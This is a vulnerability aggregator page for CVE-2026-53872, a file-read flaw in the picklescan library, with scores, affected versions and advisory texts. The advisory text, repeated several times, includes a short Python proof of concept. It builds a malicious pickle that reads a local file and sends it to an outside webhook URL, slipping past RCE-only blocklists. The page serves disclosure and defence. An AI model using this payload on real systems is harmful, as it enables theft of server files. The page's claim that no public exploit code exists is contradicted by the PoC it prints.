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CVE-2026-53872

picklescan - Arbitrary File Read via Unsafe Pickle Deserialization

8.7 HighFix available

picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.51%Unchanged since Jun 18, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

picklescan - Arbitrary File Read via Unsafe Pickle Deserialization

picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.

Record
CVE-2026-53872
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-37738 8.7

picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.

Record
EUVD-2026-37738
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-5v23-73v4-w2fp 8.7

Duplicate Advisory: picklescan has Arbitrary file read using `io.FileIO`

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-9726-w42j-3qjr. This link is maintained to preserve external references.

Original Description

picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.

Record
GHSA-5v23-73v4-w2fp
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
GitHub AdvisoriesGHSA-9726-w42j-3qjr 7.7

picklescan has Arbitrary file read using `io.FileIO`

Summary

Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.

Details

The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:

  1. io.FileIO: Opens local files without using builtins.open.

  2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.

  3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.

PoC

import pickle, io, urllib.request

class GetFile:
    def __reduce__(self):
        return (io.FileIO, ('/etc/hosts', 'r'))

class Exfiltrate:
    def __reduce__(self):
        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))

with open("bypass_http.pkl", "wb") as f:
    pickle.dump(Exfiltrate(), f)

<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />

Impact

  • Arbitrary file read

Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.

Record
GHSA-9726-w42j-3qjr
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22, CWE-918
Updated
2026-11-02
NVD 8.7

picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.

Record
CVE-2026-53872
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
OSV 8.7

picklescan - Arbitrary File Read via Unsafe Pickle Deserialization

picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.

Record
CVE-2026-53872
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-5v23-73v4-w2fp 8.7

Duplicate Advisory: picklescan has Arbitrary file read using `io.FileIO`

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-9726-w42j-3qjr. This link is maintained to preserve external references.

Original Description

picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.

Record
GHSA-5v23-73v4-w2fp
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-9726-w42j-3qjr 7.7

picklescan has Arbitrary file read using `io.FileIO`

Summary

Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.

Details

The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:

  1. io.FileIO: Opens local files without using builtins.open.

  2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.

  3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.

PoC

import pickle, io, urllib.request

class GetFile:
    def __reduce__(self):
        return (io.FileIO, ('/etc/hosts', 'r'))

class Exfiltrate:
    def __reduce__(self):
        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))

with open("bypass_http.pkl", "wb") as f:
    pickle.dump(Exfiltrate(), f)

<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />

Impact

  • Arbitrary file read

Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.

Record
GHSA-9726-w42j-3qjr
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22, CWE-918
Updated
2026-11-02
OSVPYSEC-2026-1787 7.7

picklescan has Arbitrary file read using `io.FileIO`

Summary

Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.

Details

The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:

  1. io.FileIO: Opens local files without using builtins.open.

  2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.

  3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.

PoC

import pickle, io, urllib.request

class GetFile:
    def __reduce__(self):
        return (io.FileIO, ('/etc/hosts', 'r'))

class Exfiltrate:
    def __reduce__(self):
        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))

with open("bypass_http.pkl", "wb") as f:
    pickle.dump(Exfiltrate(), f)

<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />

Impact

  • Arbitrary file read

Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.

Record
PYSEC-2026-1787
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
picklescan
PyPI
before 0.0.35
0.0.35
picklescan
PyPI
before 0.0.35, plus listed versions
0.0.10.0.100.0.110.0.120.0.13
Show 29 moreShow less
0.0.140.0.150.0.160.0.170.0.180.0.190.0.20.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.40.0.50.0.60.0.70.0.80.0.9
0.0.35

History

History
RecordedChangedSources
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-53872 is a high vulnerability (CVSS 8.7) in Mmaitre314 Picklescan, published January 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.51%, the 43rd percentile. Fixed in picklescan 0.0.35.

References

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